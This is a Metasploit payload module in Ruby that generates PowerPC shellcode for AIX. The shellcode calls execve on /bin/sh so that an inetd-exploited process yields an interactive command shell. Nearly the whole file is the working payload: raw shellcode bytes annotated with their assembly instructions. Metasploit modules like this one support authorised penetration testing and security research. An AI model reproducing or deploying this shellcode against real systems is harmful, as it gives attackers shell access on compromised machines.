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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 56
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  include Msf::Payload::Single
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  include Msf::Payload::Aix
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'AIX execve Shell for inetd',
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      'Description'   => 'Simply execve /bin/sh (for inetd programs)',
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      'Author'        => 'jduck',
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'aix',
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      'Arch'          => ARCH_PPC,
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      'PayloadType'   => 'cmd_interact',
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      'Handler'       => Msf::Handler::FindShell,
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      'Session'       => Msf::Sessions::CommandShell
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    ))
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  end
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  def generate(*args)
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    super(*args)
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    payload =
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      "\x7c\xa5\x2a\x79"     + # /* xor.    r5,r5,r5             */
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      "\x40\x82\xff\xfd"     + # /* bnel    <shellcode>          */
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      "\x7f\xe8\x02\xa6"     + # /* mflr    r31                  */
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      "\x3b\xff\x01\x20"     + # /* cal     r31,0x120(r31)       */
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      "\x38\x7f\xff\x08"     + # /* cal     r3,-248(r31)         */
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      "\x38\x9f\xff\x10"     + # /* cal     r4,-240(r31)         */
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      "\x90\x7f\xff\x10"     + # /* st      r3,-240(r31)         */
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      "\x90\xbf\xff\x14"     + # /* st      r5,-236(r31)         */
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      "\x88\x5f\xff\x0f"     + # /* lbz     r2,-241(r31)         */
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      "\x98\xbf\xff\x0f"     + # /* stb     r5,-241(r31)         */
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      "\x4c\xc6\x33\x42"     + # /* crorc   cr6,cr6,cr6          */
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      "\x44\xff\xff\x02"     + # /* svca                         */
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      "/bin/sh"+
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      "\x05"
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  end
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end
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